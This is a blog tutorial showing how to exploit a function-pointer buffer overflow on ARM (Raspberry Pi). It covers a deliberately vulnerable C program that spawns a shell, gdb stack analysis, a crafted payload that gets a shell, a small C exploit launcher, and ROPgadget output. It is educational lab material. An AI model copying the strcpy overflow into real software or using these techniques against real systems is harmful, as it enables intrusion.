P0inter 0verfl0w


Posted on August, 2017

ARM is an architecture based on RISC 32 bits and 64 bits developped by ARM ltd since 1990. ARM processor family are fitted with low energy consumption and have become dominants in the IoT and Embedded systems domains. Many operating systems are compatible with this type of archiecture, like iOS, Android, BlackBerry OS, Windows phone…
With the rising use of ARM architecture on the market, many devices have been the new favorite target for hackers. In this documentation we are going to show how it is possible to exploit an overflow in a vulnerable program running on ARM ISA.

The target device will be a Rasbperry Pi with the last version of Raspbian.

ARM Architecture Quickstart

ARM architecture is similar to RISC architecture, in fact ARM has got 37 registers, but only 16 registers of 32 bits are accessible.

special registers

  • R11 Frame Pointer Register, holds the pointer to the current stack frame
  • R12 Intra Procedure Register
  • R13 Stack Pointer Register, holds the pointer to the top of the stack
  • R14 Link Register holds the return address after a subroutine is called with BL instruction
  • R15 Program Counter next instruction to be executed
  • R0 to R3 used to hold argument values to and from a subroutine

So as we can see it will be difficult to exploit a buffer overflow based on overwritting the return address of a simple vulnerable function call. The first reason is that after a function call the return address will not be stored into the stack, but in the link register which is difficult to access.
The second reason is that the ASLR (Address space layout randomization) is also active and
makes it difficult to redirect the execution on a specific shellcode (Assembly code) in memory.

ASLR functionning

aslr

In my case the randomization of the address is active

pi@raspberrypi:~/Documents/exploits/return_libc $ cat /proc/sys/kernel/randomize_va_space
2

Exploiting overflow

So is there any possibilities to exploit an overflow with all these protections ?
In this section we are going to expose a proof of concept which proves that overflow can be exploited on function pointer. In fact many software call functions with pointers.

vulnerable code

#include<stdio.h>
#include<string.h>

void vuln_function(void);
void exploit_function(void);


void exploit_function(void)
{
   printf("Hello Strange World!\n");
   system("/bin/sh");
}

void vuln_function(void)
{
    printf("\n\nCurrent fonction\n");
    printf("Hello World\n");
}


int main(int argc, char **argv)
{
    void (*pointerFunction)(void);
    pointerFunction = vuln_function;
    char buffer[24];

    strcpy(buffer, argv[1]);

    char *pointerBuffer = NULL;
    int poiterExploit = (int) exploit_function;

    pointerBuffer = buffer;

    printf("======= DEBUG INFORMATION ======= \n\n");
    printf("Address of the buffer %p\n", pointerBuffer);
    printf("Address of the function %p\n", pointerFunction);
    printf("Address of the exploit 0x%x\n", poiterExploit);

    (*pointerFunction)(); //calling function
    return 0;
}

As you can see the program will never access the function “exploit_function”.

Some debug information has been added. So we are going to fuzz the programm and discover some vulnerabilities.

We just launch the program three times and observe how it reacts

pi@raspberrypi:~/Documents/exploits/return_libc $ ./vuln AAA
======= DEBUG INFORMATION =======

Address of the buffer 0x7eeb65f4
Address of the function 0x104d8
Address of the exploit 0x104b4


Current fonction
Hello World
pi@raspberrypi:~/Documents/exploits/return_libc $ ./vuln AAA
======= DEBUG INFORMATION =======

Address of the buffer 0x7ebbc5f4
Address of the function 0x104d8
Address of the exploit 0x104b4


Current fonction
Hello World
pi@raspberrypi:~/Documents/exploits/return_libc $ ./vuln AAA
======= DEBUG INFORMATION =======

Address of the buffer 0x7ecc05f4
Address of the function 0x104d8
Address of the exploit 0x104b4


Current fonction
Hello World

As we can see the ASLR is active. In fact the address of the buffer is changing every time we launch the program. But we can notice that the address of the functions remains the same between two executions. So it means that we can jump into another function that is not allowed by the main execution of the program, and bypass the ASLR?

First we need to verify that it is possible to exploit an overflow in this program:

  • By observing the code, we can see that the insecure function strcpy is used in order to copy the argv[1] to the buffer.
  • By passing a lot of characters in argv[1] it is possible to obtain a “segmentation fault”

Demo


 pi@raspberrypi:~/Documents/exploits/return_libc $ ./vuln $(python -c 'print("A"*250)';)
======= DEBUG INFORMATION =======

Address of the buffer 0x7ef49504
Address of the function 0x41414141
Address of the exploit 0x104b4
Segmentation fault
pi@raspberrypi:~/Documents/exploits/return_libc $

We can see that the address of the function becomes 0x41414141 which is the ascii value of AAAA.

Once we’ve validated the possibility of an overflow exploitation we are going to use gdb to get some information and craft the exploit which will reach the exploit function.

We first disassemble the main function


(gdb) disas main
Dump of assembler code for function main:
   0x000104fc <+0>: push    {r11, lr}
   0x00010500 <+4>: add r11, sp, #4
   0x00010504 <+8>: sub sp, sp, #48 ; 0x30
   0x00010508 <+12>:    str r0, [r11, #-48] ; 0x30
   0x0001050c <+16>:    str r1, [r11, #-52] ; 0x34
   0x00010510 <+20>:    ldr r3, [pc, #120]  ; 0x10590 <main+148>
   0x00010514 <+24>:    str r3, [r11, #-8]
   0x00010518 <+28>:    ldr r3, [r11, #-52] ; 0x34
   0x0001051c <+32>:    add r3, r3, #4
   0x00010520 <+36>:    ldr r3, [r3]
   0x00010524 <+40>:    sub r2, r11, #40    ; 0x28
   0x00010528 <+44>:    mov r0, r2
   0x0001052c <+48>:    mov r1, r3
   0x00010530 <+52>:    bl  0x10344
   0x00010534 <+56>:    mov r3, #0
   0x00010538 <+60>:    str r3, [r11, #-12]
   0x0001053c <+64>:    ldr r3, [pc, #80]   ; 0x10594 <main+152>
   0x00010540 <+68>:    str r3, [r11, #-16]
   0x00010544 <+72>:    sub r3, r11, #40    ; 0x28
   0x00010548 <+76>:    str r3, [r11, #-12]
   0x0001054c <+80>:    ldr r0, [pc, #68]   ; 0x10598 <main+156>
   0x00010550 <+84>:    bl  0x10350
   0x00010554 <+88>:    ldr r0, [pc, #64]   ; 0x1059c <main+160>
   0x00010558 <+92>:    ldr r1, [r11, #-12]
   0x0001055c <+96>:    bl  0x10338
   0x00010560 <+100>:   ldr r0, [pc, #56]   ; 0x105a0 <main+164>
   0x00010564 <+104>:   ldr r1, [r11, #-8]
   0x00010568 <+108>:   bl  0x10338
   0x0001056c <+112>:   ldr r0, [pc, #48]   ; 0x105a4 <main+168>
   0x00010570 <+116>:   ldr r1, [r11, #-16]
   0x00010574 <+120>:   bl  0x10338
   0x00010578 <+124>:   ldr r3, [r11, #-8]
   0x0001057c <+128>:   blx r3
   0x00010580 <+132>:   mov r3, #0
   0x00010584 <+136>:   mov r0, r3
   0x00010588 <+140>:   sub sp, r11, #4
   0x0001058c <+144>:   pop {r11, pc}
   0x00010590 <+148>:   ldrdeq  r0, [r1], -r8
   0x00010594 <+152>:           ; <UNDEFINED> instruction: 0x000104b4
   0x00010598 <+156>:   andeq   r0, r1, r12, asr r6
   0x0001059c <+160>:   andeq   r0, r1, r0, lsl #13
   0x000105a0 <+164>:   muleq   r1, r12, r6
   0x000105a4 <+168>:           ; <UNDEFINED> instruction: 0x000106b8
End of assembler dump.


We are going to set a breakpoint at address 0x0001057c which represents the Branch and Link instruction just before jumping into the vuln_function.

(gdb) b * 0x0001057c
Breakpoint 1 at 0x1057c
(gdb) r AAAAA
Starting program: /home/pi/Documents/exploits/return_libc/vuln AAAAA
======= DEBUG INFORMATION =======

Address of the buffer 0x7efff5b4
Address of the function 0x104d8
Address of the exploit 0x104b4

Breakpoint 1, 0x0001057c in main ()

Now we would like to explore the content of the current stack. So we use the commande x/40x to see the last 40 DWORD from the stack pointer.

Here are the results

(gdb) x/40x $sp
0x7efff5a8: 0x7efff734  0x00000002  0x00000000  0x41414141
0x7efff5b8: 0x00010041  0x000105f8  0x76fa4ba0  0x000105a8
0x7efff5c8: 0x00000000  0x000104b4  0x7efff5b4  0x000104d8
0x7efff5d8: 0x00000000  0x76e7e294  0x76fa3000  0x7efff734
0x7efff5e8: 0x00000002  0x000104fc  0x76ff8318  0x76ff8000
0x7efff5f8: 0x00000000  0x00000000  0x0001038c  0x00000000
0x7efff608: 0x00000000  0x00000000  0x76fff000  0x00000000
0x7efff618: 0x728087c0  0x7a989070  0x00000000  0x00000000
0x7efff628: 0x00000000  0x00000000  0x00000000  0x00000000
0x7efff638: 0x00000000  0x00000000  0x00000000  0x00000000
(gdb)

We can see a couple of things in the current stack :

  • in blue the begining of the buffer in the stack which contains the AAAA ascii code.

  • in red the address of the vuln_funtion which is pointed by the pointer.

stack

So it is easy to count the number of junk ascii characters to inject into the stack to reach the address pointed by the pointer, and replace it with the address of the exploit function.
In my case I had to inject 32 characters to reach the vuln_function address, then I replace it with the address of the exploit_function (0x104b4).

Let’s try, do not forget to put the address in little endian

pi@raspberrypi:~/Documents/exploits/return_libc $ ./vuln $(python -c 'print("A"*32 + "\xb4\x04\x01\x00");')
======= DEBUG INFORMATION =======

Address of the buffer 0x7ece85d4
Address of the function 0x104b4
Address of the exploit 0x104b4
Hello Strange World!
$
$
$

We get a shell so we’ve just jump into an another function of the program!

Here you can find a little exploit that get the shell automatically, perhaps you had to change the address of the exploit function a little bit.

Exploit code

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>

int main(int argc, char **argv){

        char redirect[] = "\xb4\x04\x01\x00";
        char exploit_buffer[40];
        char *ptr = (char *)&exploit_buffer;

        int i;
        for(i=0;i<32;i++,ptr++)
                *ptr = "A";

        for(i=0;i<4;i++,ptr++)
                *ptr = redirect[i];


        execl("/home/pi/Documents/exploits/return_libc/vuln","vuln",exploit_buffer, NULL);
return 0;
}

This documentation was just a proof of concept, in fact vuln_function will not be as evident in software. But exploiting this kind of vulnerability is possible even with the ASLR active. To take the analysis one step further you can download ROPgadget tools and explore the memory in order to find executable assembly code.

Exemple:

pi@raspberrypi:~/Documents/exploits/return_libc $ ROPgadget --binary vuln --filter "bx | ldr"
Gadgets information
============================================================
0x0001042c : add r1, r1, r1, lsr #31 ; asrs r1, r1, #1 ; bxeq lr ; ldr r3, [pc, #0x10] ; cmp r3, #0 ; bxeq lr ; bx r3
0x000105e0 : add r4, r4, #1 ; ldr r3, [r5, #4]! ; mov r0, r7 ; mov r1, r8 ; mov r2, sb ; blx r3
0x00010450 : andeq r0, r0, r0 ; push {r4, lr} ; ldr r4, [pc, #0x18] ; ldrb r3, [r4] ; cmp r3, #0 ; popne {r4, pc} ; bl #0x10410 ; mov r3, #1 ; strb r3, [r4] ; pop {r4, pc}
0x0001030c : andeq r0, r0, r6, lsl r1 ; strdeq r0, r1, [r2], -ip ; andeq r0, r0, r6, lsl r4 ; push {r3, lr} ; bl #0x103dc ; pop {r3, pc}
0x00010314 : andeq r0, r0, r6, lsl r4 ; push {r3, lr} ; bl #0x103d4 ; pop {r3, pc}
0x000102fc : andeq r0, r0, r6, lsl r6 ; strdeq r0, r1, [r2], -r4 ; andeq r0, r0, r6, lsl r7 ; strdeq r0, r1, [r2], -r8 ; andeq r0, r0, r6, lsl r1 ; strdeq r0, r1, [r2], -ip ; andeq r0, r0, r6, lsl r4 ; push {r3, lr} ; bl #0x103ec ; pop {r3, pc}
0x00010304 : andeq r0, r0, r6, lsl r7 ; strdeq r0, r1, [r2], -r8 ; andeq r0, r0, r6, lsl r1 ; strdeq r0, r1, [r2], -ip ; andeq r0, r0, r6, lsl r4 ; push {r3, lr} ; bl #0x103e4 ; pop {r3, pc}
0x000103e8 : andeq r0, r0, r8, lsr #32 ; ldr r3, [pc, #0x1c] ; ldr r0, [pc, #0x1c] ; rsb r3, r0, r3 ; cmp r3, #6 ; bxls lr ; ldr r3, [pc, #0x10] ; cmp r3, #0 ; bxeq lr ; bx r3
0x00010608 : andeq r0, r1, r0, lsr #2 ; bx lr
0x00010608 : andeq r0, r1, r0, lsr #2 ; bx lr ; push {r3, lr} ; pop {r3, pc}
0x00010604 : andeq r0, r1, r8, lsr #2 ; andeq r0, r1, r0, lsr #2 ; bx lr
0x00010604 : andeq r0, r1, r8, lsr #2 ; andeq r0, r1, r0, lsr #2 ; bx lr ; push {r3, lr} ; pop {r3, pc}
0x00010428 : asr r1, r1, #2 ; add r1, r1, r1, lsr #31 ; asrs r1, r1, #1 ; bxeq lr ; ldr r3, [pc, #0x10] ; cmp r3, #0 ; bxeq lr ; bx r3
0x00010430 : asrs r1, r1, #1 ; bxeq lr ; ldr r3, [pc, #0x10] ; cmp r3, #0 ; bxeq lr ; bx r3
0x000105d0 : asrs r6, r6, #2 ; popeq {r3, r4, r5, r6, r7, r8, sb, pc} ; sub r5, r5, #4 ; mov r4, #0 ; add r4, r4, #1 ; ldr r3, [r5, #4]! ; mov r0, r7 ; mov r1, r8 ; mov r2, sb ; blx r3
0x00010494 : b #0x1042c ; ldr r3, [pc, #0x10] ; cmp r3, #0 ; beq #0x104a0 ; blx r3
0x000104a0 : beq #0x10494 ; blx r3
0x00010574 : bl #0x10340 ; ldr r3, [fp, #-8] ; blx r3
0x00010568 : bl #0x1034c ; ldr r0, [pc, #0x30] ; ldr r1, [fp, #-0x10] ; bl #0x1034c ; ldr r3, [fp, #-8] ; blx r3
0x0001055c : bl #0x10358 ; ldr r0, [pc, #0x38] ; ldr r1, [fp, #-8] ; bl #0x10358 ; ldr r0, [pc, #0x30] ; ldr r1, [fp, #-0x10] ; bl #0x10358 ; ldr r3, [fp, #-8] ; blx r3
0x0001031c : bl #0x103cc ; pop {r3, pc}
0x00010468 : bl #0x103f8 ; mov r3, #1 ; strb r3, [r4] ; pop {r4, pc}
0x000104a4 : blx r3
0x000105f4 : blx r3 ; cmp r4, r6 ; bne #0x105f8 ; pop {r3, r4, r5, r6, r7, r8, sb, pc} ; andeq r0, r1, r8, lsr #2 ; andeq r0, r1, r0, lsr #2 ; bx lr
0x000105f4 : blx r3 ; cmp r4, r6 ; bne #0x10600 ; pop {r3, r4, r5, r6, r7, r8, sb, pc} ; andeq r0, r1, r8, lsr #2 ; andeq r0, r1, r0, lsr #2 ; bx lr ; push {r3, lr} ; pop {r3, pc}

Once you find some gadget into the stack you can filter them in order to craft your own ROPchain and do what you want with the vulnerable program.

Demonstration

demo

Presentation
Cyril Bresch is graduated from the Grenoble Institute of Technology, Esisar school in computer engineering. He is now a Phd Student within the LCIS lab from Univ. Grenoble Alps and Grenoble Institute of Technology in Valence, France. His research interests are computer security and processor architecture security.

Second place a CSAW 2k16 NYU :)
IEEE publication : "A Red Team Blue Team approach Towards a Secure Processor Design With a Hardware Shadow Stack"

You can contact me at cyril[dot]bresch[dot]fr[at]gmail[dot]com